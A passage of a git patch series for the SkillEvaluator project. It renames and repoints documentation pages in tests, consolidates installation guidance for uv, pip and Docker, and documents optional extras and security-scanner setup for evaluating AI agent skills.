"tier3-runtime.mdx"): content = (REPO_ROOT / "docs" / name).read_text(encoding="utf-8") assert "--agent-eval" in content assert "--tier3" in content diff --git a/tests/test_tier3_progress.py b/tests/test_tier3_progress.py index c5c293c7d..75b02b4a4 100644 --- a/tests/test_tier3_progress.py +++ b/tests/test_tier3_progress.py @@ -2384,7 +2384,7 @@ def test_live_evaluation_docs_say_a_stream_can_still_send_refused_output_later() # tied to the drawing failure described just before it: after a failure # there is no final table. lead = "In a terminal, `--progress auto` uses the `rich` view" - guide = (Path(__file__).resolve().parents[1] / "docs" / "tier3-live-evaluation.mdx").read_text(encoding="utf-8") + guide = (Path(__file__).resolve().parents[1] / "docs" / "tier3-run-options.mdx").read_text(encoding="utf-8") blocks = [" ".join(block.split()) for block in guide.split("\n\n")] paragraphs = [block for block in blocks if block.startswith(lead)] diff --git a/tests/test_tier3_public_runtime.py b/tests/test_tier3_public_runtime.py index 6d5cfa361..658f71680 100644 --- a/tests/test_tier3_public_runtime.py +++ b/tests/test_tier3_public_runtime.py @@ -2894,7 +2894,7 @@ def test_documented_agent_cli_versions_match_the_pins() -> None: docs = Path(__file__).resolve().parents[1] / "docs" pages = { page: " ".join((docs / page).read_text(encoding="utf-8").split()) - for page in ("agents-and-sandboxes.mdx", "tier3-live-evaluation.mdx") + for page in ("agents-and-sandboxes.mdx", "tier3-runtime.mdx") } for page, text in pages.items(): assert f"Codex {runner._CODEX_VERSION}" in text, page diff --git a/tests/tier3/test_baseline_timeouts.py b/tests/tier3/test_baseline_timeouts.py index 9f94b3948..3dcb112a2 100644 --- a/tests/tier3/test_baseline_timeouts.py +++ b/tests/tier3/test_baseline_timeouts.py @@ -952,7 +952,7 @@ def handle_data(self, data: str) -> None: assert [line.strip() for line in terminal.splitlines() if line.startswith("RUN QUALITY VERDICT:")] == [ f"RUN QUALITY VERDICT: {verdict.upper()}" ] - block = _doc_block("docs/tier3-live-evaluation.mdx", "For a tolerated agent, the baseline condition stays") + block = _doc_block("docs/tier3-run-options.mdx", "For a tolerated agent, the baseline condition stays") assert ( "The run's verdict and the `RUN QUALITY VERDICT` line that `tier3 evaluate` prints read the same agents:" in block @@ -1138,7 +1138,7 @@ def test_failed_baseline_fails_the_run_unless_tolerated_and_the_docs_say_so(tmp_ assert ("The agent and the Tier 3 run are marked failed." in notice["message"]) is not tolerate block = _doc_block("docs/reports.mdx", "An arm that ran but failed") assert "fails the agent and the run unless `--tolerate-baseline-timeouts` keeps the agent scored" in block - assert "[Baseline timeouts](/skills/skillevaluator/tier3-live-evaluation#baseline-timeouts)" in block + assert "[Baseline timeouts](/skills/skillevaluator/tier3-run-options#baseline-timeouts)" in block @pytest.mark.parametrize("kwargs", [{"grading_mode": "custom_only"}, {"skip_baseline": True}]) From 5649b2bab76a1a9491b841cf01b6e08e72837fb3 Mon Sep 17 00:00:00 2001 From: Christopher Kevin Date: Mon, 16 Nov 2026 18:05:58 -0800 Subject: [PATCH 02/12] docs: clarify the live comparison description Signed-off-by: Christopher Kevin --- docs/tier3-live-evaluation.mdx | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/tier3-live-evaluation.mdx b/docs/tier3-live-evaluation.mdx index edd5c2da9..44e413c04 100644 --- a/docs/tier3-live-evaluation.mdx +++ b/docs/tier3-live-evaluation.mdx @@ -1,7 +1,7 @@ --- title: "Run a Live Evaluation" sidebar-title: "Tier 3: First run" -description: "Connect a model, run your skill with and without an agent baseline, and open the comparison report." +description: "Connect a model, run an agent with and without your skill, and open the comparison report." --- Does your skill help an agent complete a task? Run the same tasks **with and From d2825a3a630542732d8229d15ba698370620c95e Mon Sep 17 00:00:00 2001 From: Christopher Kevin Date: Mon, 16 Nov 2026 18:31:17 -0800 Subject: [PATCH 03/12] docs: label the harness panel as an illustrative summary Signed-off-by: Christopher Kevin --- CHANGELOG.md | 1 + README.md | 5 +++-- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index e424c02ba..edec29cfd 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -11,6 +11,7 @@ All notable changes to SkillEvaluator are documented in this file. interpretation. Detailed Tier 3 run options, runtime behavior, grading, results, and experiments now have separate reference pages; existing topic bookmarks link to their new locations. + The README harness panel is labelled as an illustrative profile summary. - The Tier 3 report data and JSON report record which execution backend ran the evaluation, as `execution_backend` (`harbor` or `nemo-gym`), next to the sandbox `environment`. diff --git a/README.md b/README.md index d348a8265..4d554dbef 100644 --- a/README.md +++ b/README.md @@ -17,8 +17,7 @@ > 📺 **Livestream:** [Ask the Experts: Evaluating Agent Skills](https://www.youtube.com/watch?v=4rI0zATFxYI) -SkillEvaluator checks AI agent skills and plugins, and measures a skill's effect -on task results: start with quality checks, then compare runs with and without a skill. +Check skill and plugin quality, then compare task results with and without a skill. Agent skills are folders of instructions and supporting files defined by the [Agent Skills specification](https://agentskills.io/). SkillEvaluator is part of @@ -96,6 +95,8 @@ No LLM inference · No model key · No agent run skillevaluator harness-check ./my-skill ``` +Illustrative summary of versioned profiles. Full output can include notes and schema diagnostics. + ```text ╭─ Harness compatibility · my-skill ──────────────────────────────────────────────────────╮ │ ⚠️ codex degraded Description cut to 1,021 chars + '...' in the skill list │ From 6dccf4af6fb2524d5ba746d4db281c01ca3e9800 Mon Sep 17 00:00:00 2001 From: Christopher Kevin Date: Mon, 16 Nov 2026 18:46:03 -0800 Subject: [PATCH 04/12] docs: collect JUnit reports from nested skill catalogs Signed-off-by: Christopher Kevin --- CHANGELOG.md | 1 + docs/gitlab-ci.mdx | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 559d860d4..646a9c286 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -449,6 +449,7 @@ All notable changes to SkillEvaluator are documented in this file. ### Fixed +- GitLab JUnit collection includes nested skill folders in catalog reports. - Direct Tier 1 validates the target, selected checks and LLM configuration before preparing scanners, so configuration errors do not trigger downloads or stdout noise. - Documentation-only CI follows imports through collected test modules and diff --git a/docs/gitlab-ci.mdx b/docs/gitlab-ci.mdx index 39c9ddf43..9c1c2d8cf 100644 --- a/docs/gitlab-ci.mdx +++ b/docs/gitlab-ci.mdx @@ -95,7 +95,7 @@ skill-junit: `skillevaluator validate` on a folder of skills writes one file per skill instead, as `reports//skillevaluator-output-.junit.xml`; -point `junit:` at `reports/*/*.junit.xml` for that layout. +point `junit:` at `reports/**/*.junit.xml` to include nested skill folders. The [public examples](https://github.com/NVIDIA/SkillEvaluator/blob/main/ci/examples/README.md) include this report preview and a log excerpt without requiring access to a From 08070bb39d9dfbb66efe8cc7edddbf3c12663c1f Mon Sep 17 00:00:00 2001 From: Christopher Kevin Date: Mon, 16 Nov 2026 19:20:56 -0800 Subject: [PATCH 05/12] docs: centralize installation and clarify evaluation tiers Signed-off-by: Christopher Kevin --- CHANGELOG.md | 5 + README.md | 51 +++--- docs/AGENTS.md | 12 +- docs/README.md | 7 +- docs/agent-skill.mdx | 14 +- docs/agents-and-sandboxes.mdx | 4 +- docs/ci-integration.mdx | 4 +- docs/cli-onboarding.mdx | 4 +- docs/cli-reference.mdx | 6 +- docs/configuration.mdx | 4 +- docs/custom-graders.mdx | 2 +- docs/environment-variables.mdx | 2 +- docs/harness-check.mdx | 7 +- docs/index.mdx | 12 +- docs/installation-options.mdx | 205 ++++++++++++++++++++++++ docs/installation.mdx | 282 ++++++++------------------------- docs/metrics-reference.mdx | 2 +- docs/performance-dashboard.mdx | 6 +- docs/quickstart.mdx | 21 +-- docs/reports.mdx | 2 +- docs/starter-demo.mdx | 2 +- docs/tier1-validation.mdx | 43 +++-- docs/tier2-deduplication.mdx | 8 +- docs/tier3-live-evaluation.mdx | 25 ++- fern/docs.yml | 17 +- tests/test_oss_packaging.py | 4 +- 26 files changed, 411 insertions(+), 340 deletions(-) create mode 100644 docs/installation-options.mdx diff --git a/CHANGELOG.md b/CHANGELOG.md index 646a9c286..6ea4a20b2 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,11 @@ All notable changes to SkillEvaluator are documented in this file. ### Added +- Central installation guide with one recommended uv workflow for all three + tiers, with pip alternatives, scanner setup, and smaller installs on a linked + options page. Tier guides and the quickstart use the installed CLI. Navigation + groups Tier 1 Validation, Tier 1 Harness Check, Tier 2 Deduplication, and + Tier 3 Live Agent Evaluation in that order. - Task-first documentation entry pages: a three-step keyless quickstart and a live-evaluation walkthrough with provider tabs, readiness checks, and report interpretation. Detailed Tier 3 run options, runtime behavior, grading, diff --git a/README.md b/README.md index 4b84b5256..c45b2d0d7 100644 --- a/README.md +++ b/README.md @@ -34,20 +34,7 @@ Check skills from your terminal, CI, or agent. -Install with pip: - -```bash -pip install skillevaluator -``` - -
Or install with uv - -```bash -uv tool install \ - skillevaluator -``` - -
+[Install SkillEvaluator](https://docs.nvidia.com/skills/skillevaluator/installation) once for all three tiers. Then check your skill, no key: @@ -56,7 +43,7 @@ skillevaluator validate \ ./my-skill --tiers 1 ``` -Other tiers: [installation guide](https://docs.nvidia.com/skills/skillevaluator/installation). +[Try the bundled example](https://docs.nvidia.com/skills/skillevaluator/quickstart). @@ -113,27 +100,24 @@ Illustrative summary of versioned profiles. Full output can include notes and sc ## Quickstart -Both use bundled `text-analyzer`. +Both use bundled `text-analyzer` and your [installed CLI](https://docs.nvidia.com/skills/skillevaluator/installation). | Start here | Requires | First result | | --- | --- | --- | -| [Run without an LLM](#run-without-an-llm) | Git and uv | A deterministic quality score and findings | -| [Use NVIDIA Build](#use-nvidia-build) | Git, uv, and a Build API key | Model-backed rubric scores and feedback | +| [Run without an LLM](#run-without-an-llm) | Installed CLI and Git | A deterministic quality score and findings | +| [Use NVIDIA Build](#use-nvidia-build) | Installed CLI, Git, and a Build API key | Model-backed rubric scores and feedback | -Install [uv](https://docs.astral.sh/uv/getting-started/installation/) and Git, -then get the example: +After installation, get the example: ```bash git clone --depth 1 https://github.com/NVIDIA/SkillEvaluator.git cd SkillEvaluator ``` -uv provisions Python 3.13 and dependencies. - ### Run without an LLM ```bash -uv run --python 3.13 skillevaluator quality-check \ +skillevaluator quality-check \ src/skillevaluator/tier3/reference_skills/text-analyzer \ -r cli -r json -o reports/first-quality ``` @@ -159,7 +143,7 @@ Eligible NVIDIA Developer Program members can use NVIDIA-hosted endpoints for ```bash export SKILL_EVAL_LLM_PROVIDER=nv_build export NVIDIA_API_KEY='nvapi-...' -uv run --python 3.13 --extra llm skillevaluator rubric-eval \ +skillevaluator rubric-eval \ src/skillevaluator/tier3/reference_skills/text-analyzer \ -r cli -r json -o reports/first-build ``` @@ -175,16 +159,17 @@ The same key supports Tier 2 embeddings and supported Tier 3 agents. See the ![Three-tier pipeline: skill, validation, deduplication, live evaluation, reports](https://raw.githubusercontent.com/NVIDIA/SkillEvaluator/ad2815fe78c045db91d230681d32863698da08cf/docs/assets/three-tier-overview.svg) -Each tier is independent. Add its extra to your command: +Each tier is independent. The recommended installation includes all three: | Tier | Question | Example after setup | Additional setup | | --- | --- | --- | --- | -| Tier 1: Validation | Is the skill safe, well-formed and [harness-compatible](docs/tier1-validation.mdx#the-checks)? | `uv run skillevaluator tier1 ./my-skill --no-llm` | External scanners for full static coverage; a provider and model clients enable LLM checks | -| Tier 2: Deduplication | Does guidance repeat or overlap? | `uv run --extra tier2 skillevaluator tier2 ./my-skill` | Embeddings and chat; add `--catalog ./skill-catalog.json` for inter-skill comparison | -| Tier 3: Live Evaluation | Does the skill help the agent? | `uv run --extra tier3 skillevaluator tier3 ./my-skill` | Provider access, a supported agent, and a running sandbox (Docker by default) | +| Tier 1: Validation | Is the skill safe, well-formed and [harness-compatible](docs/tier1-validation.mdx#the-checks)? | `skillevaluator tier1 ./my-skill --no-llm` | External scanners for full static coverage; a provider and model clients enable LLM checks | +| Tier 1: Harness Check | Will the agent load the skill? | `skillevaluator harness-check ./my-skill` | No API key or agent run | +| Tier 2: Deduplication | Does guidance repeat or overlap? | `skillevaluator tier2 ./my-skill` | Embeddings and chat; add `--catalog ./skill-catalog.json` for inter-skill comparison | +| Tier 3: Live Agent Evaluation | Does the skill help the agent? | `skillevaluator tier3 ./my-skill` | Provider access, a supported agent, and a running sandbox (Docker by default) | Tier 1 fetches pinned, verified SkillSpector and Gitleaks releases when they -are missing; Semgrep is optional. See [scanners](docs/installation.mdx#system-tools). +are missing; Semgrep is optional. See [scanners](docs/installation-options.mdx#system-tools). `--no-llm` does not remove scanner requirements; a scanner that cannot run is `INCOMPLETE` and exits nonzero. [SkillSpector](https://github.com/NVIDIA/SkillSpector) provides specialized skill @@ -200,8 +185,8 @@ sources or creates one skill-grounded case with limited coverage. See After setting up the provider, scanners, and agent sandbox, run all three tiers: ```bash -uv run --python 3.13 --extra all skillevaluator doctor --env-mode docker -uv run --python 3.13 --extra all skillevaluator validate ./my-skill +skillevaluator doctor --env-mode docker +skillevaluator validate ./my-skill ``` `doctor` checks readiness, not inference success. `validate` runs all tiers with @@ -220,12 +205,12 @@ below replaces the autopilot starter; `--refine` refines it. Explicit unauthored negatives. ```bash -uv run --python 3.13 --extra tier3 skillevaluator tier3 create-eval-dataset ./my-skill --full --prompt eval-guidance.md --force +skillevaluator tier3 create-eval-dataset ./my-skill --full --prompt eval-guidance.md --force ``` ## Run from a source checkout -Prefix commands with `uv run --python 3.13`; see [extras](docs/installation.mdx#choosing-extras). +For an editable environment, follow the [development setup](docs/developer-guide.mdx#set-up-a-development-environment). ## Research and citation diff --git a/docs/AGENTS.md b/docs/AGENTS.md index 16a77e5b2..8f36050c2 100644 --- a/docs/AGENTS.md +++ b/docs/AGENTS.md @@ -11,9 +11,10 @@ folder holds MDX pages published to - + How baseline and with-skill runs are scored, and what Skill Lift means. diff --git a/docs/agents-and-sandboxes.mdx b/docs/agents-and-sandboxes.mdx index cfe0514e1..232540152 100644 --- a/docs/agents-and-sandboxes.mdx +++ b/docs/agents-and-sandboxes.mdx @@ -8,7 +8,7 @@ run: which agents attempt the tasks (`--agents`) and where the trials execute (`--env-mode`). This page is the complete matrix for both, plus the resource, safety, and workspace controls around them and the readiness checks that tell you a run will work before you spend compute. The run workflow itself is -[Tier 3: Live Evaluation](/skills/skillevaluator/tier3-live-evaluation). +[Tier 3: Live Agent Evaluation](/skills/skillevaluator/tier3-live-evaluation). [Harbor](https://github.com/harbor-framework/harbor) is the open-source agent evaluation framework that executes each Tier 3 trial and provides its Docker, @@ -933,7 +933,7 @@ covered in [Custom Graders & Tasks](/skills/skillevaluator/custom-graders). ## Next steps - + The end-to-end run workflow — readiness, dataset, evaluation, and results. diff --git a/docs/ci-integration.mdx b/docs/ci-integration.mdx index a622971f0..15bedfb45 100644 --- a/docs/ci-integration.mdx +++ b/docs/ci-integration.mdx @@ -225,7 +225,7 @@ You do not have to turn on the strictest gate on day one. A path that works well ### Add an advisory Tier 3 job - Run live agent evaluation as a separate job with `skillevaluator tier3 ./my-skill`, or remove `--tiers 1,2` from `validate` to run all three tiers. Both workflows reuse existing evaluation sources and generate one starter case when none exists. Attached Tier 3 is advisory by default; add `--block-on-agent-eval` when the team is ready for its findings or invalid source evidence to fail the merge gate. Standalone Tier 3 exits non-zero when the run itself fails to complete. Expose agent credentials as CI secrets in the job environment — the `env:` block of the workflow step — because SkillEvaluator reads operator credentials from the host environment only. With the `nv_build` provider and `--env-mode docker`, a single `NVIDIA_API_KEY` secret covers the evaluator and all three agents. See [Tier 3: Live Evaluation](/skills/skillevaluator/tier3-live-evaluation). + Run live agent evaluation as a separate job with `skillevaluator tier3 ./my-skill`, or remove `--tiers 1,2` from `validate` to run all three tiers. Both workflows reuse existing evaluation sources and generate one starter case when none exists. Attached Tier 3 is advisory by default; add `--block-on-agent-eval` when the team is ready for its findings or invalid source evidence to fail the merge gate. Standalone Tier 3 exits non-zero when the run itself fails to complete. Expose agent credentials as CI secrets in the job environment — the `env:` block of the workflow step — because SkillEvaluator reads operator credentials from the host environment only. With the `nv_build` provider and `--env-mode docker`, a single `NVIDIA_API_KEY` secret covers the evaluator and all three agents. See [Tier 3: Live Agent Evaluation](/skills/skillevaluator/tier3-live-evaluation). @@ -355,7 +355,7 @@ A single-skill target writes its report at the top of `reports/`, and a folder t `SKILLEVALUATOR_REQUIRE_SEMGREP=1` is set. The scanners fail closed: `validate` exits non-zero and the report stays non-green until every required scanner runs and returns valid evidence. See the workflow above or - [Installation: System tools](/skills/skillevaluator/installation#system-tools). + [Installation: System tools](/skills/skillevaluator/installation-options#system-tools). The reusable SkillEvaluator workflows pass only their documented inputs diff --git a/docs/cli-onboarding.mdx b/docs/cli-onboarding.mdx index fa2849f7f..8274cd67e 100644 --- a/docs/cli-onboarding.mdx +++ b/docs/cli-onboarding.mdx @@ -9,8 +9,10 @@ the GitHub workflows and opens a setup PR. The shared runtime includes SkillSpector security scanning. Choose checks only or add optional hosted reports and PR feedback; an existing recognized scan can keep its settings. +[Install SkillEvaluator](/skills/skillevaluator/installation#install), then run +the setup command from your repository: + ```bash title="Run inside your checked-out GitHub repository" -pip install --upgrade skillevaluator skillevaluator ci init ``` diff --git a/docs/cli-reference.mdx b/docs/cli-reference.mdx index 489246f76..281fa287e 100644 --- a/docs/cli-reference.mdx +++ b/docs/cli-reference.mdx @@ -8,7 +8,7 @@ layout: reference `skillevaluator --help` output. Re-verify every flag table each release; tests/golden/cli_surface.json also records compatibility aliases hidden in help. */} -This page lists every `skillevaluator` command with its full flag set and exact defaults. If you want task-oriented guidance instead, start from the tier guides: [Tier 1: Validation](/skills/skillevaluator/tier1-validation), [Tier 2: Deduplication](/skills/skillevaluator/tier2-deduplication), and [Tier 3: Live Evaluation](/skills/skillevaluator/tier3-live-evaluation). +This page lists every `skillevaluator` command with its full flag set and exact defaults. If you want task-oriented guidance instead, start from the tier guides: [Tier 1: Validation](/skills/skillevaluator/tier1-validation), [Tier 2: Deduplication](/skills/skillevaluator/tier2-deduplication), and [Tier 3: Live Agent Evaluation](/skills/skillevaluator/tier3-live-evaluation). [Harbor](https://github.com/harbor-framework/harbor) is the open-source agent evaluation framework behind the Tier 3 task, environment, trial, and trajectory @@ -606,7 +606,7 @@ Unavailable comparisons print reasons and exit nonzero. ## tier3 evaluate -Run Tier 3 live agent evaluation: real agents attempt your eval cases with and without the skill, and the difference becomes Skill Lift. Requires the `tier3` extra, a provider key for grading, a credential the selected agents can use — with NVIDIA Build in `--env-mode docker`, `kata`, or `local`, the one `NVIDIA_API_KEY` covers both roles — and a running backend (Docker by default). The full walkthrough is [Tier 3: Live Evaluation](/skills/skillevaluator/tier3-live-evaluation). +Run Tier 3 live agent evaluation: real agents attempt your eval cases with and without the skill, and the difference becomes Skill Lift. Requires the `tier3` extra, a provider key for grading, a credential the selected agents can use — with NVIDIA Build in `--env-mode docker`, `kata`, or `local`, the one `NVIDIA_API_KEY` covers both roles — and a running backend (Docker by default). The full walkthrough is [Tier 3: Live Agent Evaluation](/skills/skillevaluator/tier3-live-evaluation). ```bash title="Live evaluation with codex in Docker" skillevaluator tier3 evaluate ./my-skill --agents codex --env-mode docker @@ -937,7 +937,7 @@ one of them failed. ## dashboard Open the optional local tables dashboard. Install the -[`dashboard` extra](/skills/skillevaluator/installation#choosing-extras) first, then pass JSON +[`dashboard` extra](/skills/skillevaluator/installation-options#choosing-extras) first, then pass JSON reports, retained run directories, or directories containing reports. With no paths, upload JSON files in the browser. diff --git a/docs/configuration.mdx b/docs/configuration.mdx index e307d4b47..33ab4f01e 100644 --- a/docs/configuration.mdx +++ b/docs/configuration.mdx @@ -268,7 +268,7 @@ harbor: model: gpt-6.1-sol ``` -You can also supply that model at invocation time with `--agent-model codex=MODEL`. See [Tier 3: Live Evaluation](/skills/skillevaluator/tier3-live-evaluation) for the full run workflow. +You can also supply that model at invocation time with `--agent-model codex=MODEL`. See [Tier 3: Live Agent Evaluation](/skills/skillevaluator/tier3-live-evaluation) for the full run workflow. In Docker mode, credential values are never rendered on the `docker compose exec` command line — the bridge receives them through a mode-0600 file inside the container that is consumed and removed before the agent starts. @@ -349,7 +349,7 @@ Setting `SKILLSPECTOR_PROVIDER` yourself overrides the bridge, but it must name Put your embedding provider to work — find overlap within and across skills. - + Run a live agent evaluation with the two-credential setup above. diff --git a/docs/custom-graders.mdx b/docs/custom-graders.mdx index 3b7fa537a..e3eefee38 100644 --- a/docs/custom-graders.mdx +++ b/docs/custom-graders.mdx @@ -10,7 +10,7 @@ your own complete [Harbor](https://github.com/harbor-framework/harbor) task. Harbor is the open-source agent evaluation framework that executes Tier 3 trials. Scaffolding is keyless and takes one command; running a custom-graded evaluation needs the same Tier 3 stack as any live eval — see -[Tier 3: Live Evaluation](/skills/skillevaluator/tier3-live-evaluation). +[Tier 3: Live Agent Evaluation](/skills/skillevaluator/tier3-live-evaluation). ## Grading modes diff --git a/docs/environment-variables.mdx b/docs/environment-variables.mdx index ca29fcf3b..5e005e2b2 100644 --- a/docs/environment-variables.mdx +++ b/docs/environment-variables.mdx @@ -148,7 +148,7 @@ The scanner path overrides fail closed: a value that is not an absolute, executa ## Live evaluation (Tier 3) These variables control where results land and how Harbor confines local mode. -The run workflow is [Tier 3: Live Evaluation](/skills/skillevaluator/tier3-live-evaluation); +The run workflow is [Tier 3: Live Agent Evaluation](/skills/skillevaluator/tier3-live-evaluation); execution environments are covered in [Agents & Sandboxes](/skills/skillevaluator/agents-and-sandboxes). diff --git a/docs/harness-check.mdx b/docs/harness-check.mdx index 33c238ea2..1e8574d4b 100644 --- a/docs/harness-check.mdx +++ b/docs/harness-check.mdx @@ -1,5 +1,6 @@ --- -title: "Harness Check" +title: "Tier 1: Harness Check" +sidebar-title: "Tier 1: Harness Check" description: "See whether Claude Code, Codex and four other agent harnesses load your skill, cut it short, or drop it. No LLM, no agent run, no API key." --- @@ -7,6 +8,8 @@ No LLM. No agent run. No API key. In about a second, the harness check predicts whether each agent harness **loads** your skill, **degrades** it, or **drops** it, and what to change. +[Install SkillEvaluator](/skills/skillevaluator/installation#install), then run: + ```bash skillevaluator harness-check ./my-skill ``` @@ -395,7 +398,7 @@ with the description as that harness lists it. No. It predicts loader behavior from versioned profiles without running the agent. It doesn't establish which skill reaches a live model or whether the skill helps once it is there. That is what - [Tier 3: Live Evaluation](/skills/skillevaluator/tier3-live-evaluation) measures, by running the agent. + [Tier 3: Live Agent Evaluation](/skills/skillevaluator/tier3-live-evaluation) measures, by running the agent. A harness lists your skill together with the skills installed next to it, and diff --git a/docs/index.mdx b/docs/index.mdx index 65dccc4ef..cdbb838d2 100644 --- a/docs/index.mdx +++ b/docs/index.mdx @@ -11,10 +11,11 @@ Check your agent skills for quality and security, then measure whether they help ## Start with a first result - **Get the example → run one command → read your result.** + **Install → check the example → read your result.** Use a bundled skill to get a quality score and actionable findings. - You'll need Git and uv. No API key, GPU, or Docker required. + The quickstart links to installation and walks through a bundled skill. + No API key, GPU, or Docker required for this check. @@ -39,9 +40,10 @@ Choose the check that answers your question. Each tier can run independently. | Your question | Evaluation | | --- | --- | -| Is my skill well-formed and safe to use? | [Tier 1 · Quality and security checks](/skills/skillevaluator/tier1-validation) | -| Does it repeat or overlap with existing guidance? | [Tier 2 · Deduplication](/skills/skillevaluator/tier2-deduplication) | -| Does it improve an agent's results? | [Tier 3 · Live evaluation](/skills/skillevaluator/tier3-live-evaluation) | +| Is my skill well-formed and safe to use? | [Tier 1: Validation](/skills/skillevaluator/tier1-validation) | +| Will my agent load the skill correctly? | [Tier 1: Harness Check](/skills/skillevaluator/harness-check) | +| Does it repeat or overlap with existing guidance? | [Tier 2: Deduplication](/skills/skillevaluator/tier2-deduplication) | +| Does it improve an agent's results? | [Tier 3: Live Agent Evaluation](/skills/skillevaluator/tier3-live-evaluation) | Need a specific option? Open [Installation](/skills/skillevaluator/installation), [Providers & Credentials](/skills/skillevaluator/configuration), diff --git a/docs/installation-options.mdx b/docs/installation-options.mdx new file mode 100644 index 000000000..ed34d096e --- /dev/null +++ b/docs/installation-options.mdx @@ -0,0 +1,205 @@ +--- +title: "Installation Options" +description: "Upgrades, pip and Docker alternatives, optional dependencies, and security scanner setup." +--- + +For the recommended setup, start with [Install SkillEvaluator](/skills/skillevaluator/installation). + +## Upgrade + +Rerun the same installation with `--reinstall` to fetch the current GitHub +source and refresh the installed tool: + +```bash title="Update the recommended installation" +uv tool install --python 3.13 --reinstall "skillevaluator[all] @ git+https://github.com/NVIDIA/SkillEvaluator.git" +skillevaluator --version +``` + +If you chose a smaller install, keep your selected extras in this command. +An install from a virtual environment should be updated with pip inside that +environment; see the pip alternative below. + +## Other installation methods + + + Use this instead of `uv tool install` if you prefer managing a Python + environment yourself. You need Git and **Python 3.12, 3.13, or 3.14**. + Create and activate a virtual environment first, including on macOS with + Homebrew Python. + + + + + ```bash title="Create and activate an environment" + python3 -m venv .venv + source .venv/bin/activate + ``` + + If `python3` is outside the supported range, use an installed supported + interpreter such as `python3.13` for the first command. + + + + + ```powershell title="Create and activate an environment with Python 3.13" + py -3.13 -m venv .venv + .venv\Scripts\Activate.ps1 + ``` + + + + + Then install and verify in the activated environment: + + ```bash title="Install with pip" + python -m pip install "skillevaluator[all] @ git+https://github.com/NVIDIA/SkillEvaluator.git" + skillevaluator --version + ``` + + Keep this environment activated when running `skillevaluator`. To update + this Git-source installation, rerun the pip command with + `--upgrade --force-reinstall`, keeping your chosen extras. + + + + This runs SkillEvaluator itself in a container. For the usual Tier 3 setup, + install the CLI above and let it start agent containers; see + [Agents & Sandboxes](/skills/skillevaluator/agents-and-sandboxes). + + To build the evaluator image, clone the repository and run these commands + from its root. The [Dockerfile](https://github.com/NVIDIA/SkillEvaluator/blob/main/Dockerfile) + includes `[all]` but not the optional dashboard. + + ```bash title="Build the image and check a bundled skill" + git clone https://github.com/NVIDIA/SkillEvaluator.git + cd SkillEvaluator + docker build -t skillevaluator:local . + docker run --rm skillevaluator:local --version + docker run --rm \ + -v "$PWD/tests/fixtures/skills/simple:/workspace/skills/simple:ro" \ + skillevaluator:local validate /workspace/skills/simple --no-llm --tiers 1 + ``` + + The image runs as the unprivileged `skillevaluator` user (UID 10001). + `/app/reports` is writable and input mounts can be read-only. To retain + reports on a Linux host, use your user ID and a writable home: + + ```bash title="Save reports outside the container" + mkdir -p reports + docker run --rm \ + --user "$(id -u):$(id -g)" \ + -e HOME=/tmp \ + -v "$PWD/tests/fixtures/skills/simple:/workspace/skills/simple:ro" \ + -v "$PWD/reports:/output" \ + skillevaluator:local validate /workspace/skills/simple --no-llm --tiers 1 -o /output + ``` + + SkillSpector and Gitleaks download on first use; each new container needs + network access to GitHub and PyPI unless their caches are retained. Missing + required scanner evidence leaves validation `INCOMPLETE` and exits nonzero. + Semgrep is optional and is not bundled. Provider credentials and sandbox + access must be configured for the container's runtime user when needed. + + +For an editable checkout and contributor tools, use the +[development setup](/skills/skillevaluator/developer-guide#set-up-a-development-environment). + +## Choosing extras + + + In the install and upgrade commands, replace `[all]` with the extras you need. + Combine names with commas, such as `[tier2,tier3]`. Omit `[all]` entirely + for the base package. A replacement installation must include **all the + extras you want to keep**. + + | Selection | Includes | + | --- | --- | + | Base (no extra) | Static Tier 1 checks and quality scoring; no model clients | + | `[llm]` | Model clients for rubric reviews and other LLM-backed checks | + | `[tier2]` | Deduplication and similarity checks; includes `llm` | + | `[tier3]` | Live agent evaluation; includes `llm` and `harbor==0.25.0` | + | `[security]` | pip-audit for the opt-in dependency audit; Bandit is in the base package | + | `[all]` | `tier2`, `tier3`, and `security` | + | `[all,dashboard]` | All evaluation extras plus the local Streamlit dashboard | + | `[dev]` | Contributor tools for builds, tests, and formatting | + + [Harbor](https://github.com/harbor-framework/harbor) is the open-source agent + evaluation framework installed by `tier3`; that extra also requires + `python-dotenv>=1.2.0`. Optional dependencies for managed sandbox backends + stay separate; see [backend setup](/skills/skillevaluator/agents-and-sandboxes#where-trials-run). + + +## System tools + +A quality check needs no external scanner setup. Full static Tier 1 checks +use these tools: + +| Tool | Setup | +| --- | --- | +| Bandit | Included with the base package. | +| SkillSpector | Downloads the pinned release on first use when no executable is found. | +| Gitleaks | Downloads the pinned release on first use on Linux and macOS. | +| Semgrep | Optional unless required by your policy; install separately. | +| pip-audit | Included with `[all]` or `[security]` for the opt-in dependency audit. | + +The first scanner run needs network access; later runs use cached downloads. +Missing required scanner evidence is reported as `INCOMPLETE`. + + + Tier 1 verifies the SHA-256 checksums of its downloaded SkillSpector 2.13.4 + wheel and Gitleaks 8.30.0 binary. uv is installed with SkillEvaluator as a base + dependency and runs SkillSpector in its own environment. A plain pip install + therefore does not need a separate `pip install uv` step. An existing uv on + PATH is used first. + + Installed scanner executables take precedence. To manage them yourself: + + ```bash title="Optional scanner installation" + uv tool install semgrep + uv tool install git+https://github.com/NVIDIA/SkillSpector.git@v2.13.4 + brew install gitleaks + ``` + + The last command is for macOS with Homebrew. Other platforms can use the + official [Gitleaks releases](https://github.com/gitleaks/gitleaks/releases). + To upgrade a manually installed SkillSpector, repeat its command with + `--reinstall`. Overrides use `SKILLEVALUATOR_SEMGREP_PATH` and + `SKILLEVALUATOR_SKILLSPECTOR_PATH`. + + `SKILLEVALUATOR_REQUIRE_SEMGREP=1` makes missing Semgrep incomplete; the Tier 1 + CI image enables it. Otherwise, its absence is reported as skipped. + + ```bash title="Inspect scanner readiness" + skillevaluator doctor --tier 1 + ``` + + This checks scanner paths and versions; it does not run a skill evaluation. + Add `--checks security,code-integrity,dependency` to include pip-audit. + SkillSpector 2.13.4 can report JSON files containing a `timeout` key as + partial analysis. Inspect those diagnostics before treating a skill as validated. + + +## Troubleshooting + + + + Open a new terminal after installing uv. If `uv` works but + `skillevaluator` does not, run `uv tool update-shell` and reopen the + terminal. With pip, activate 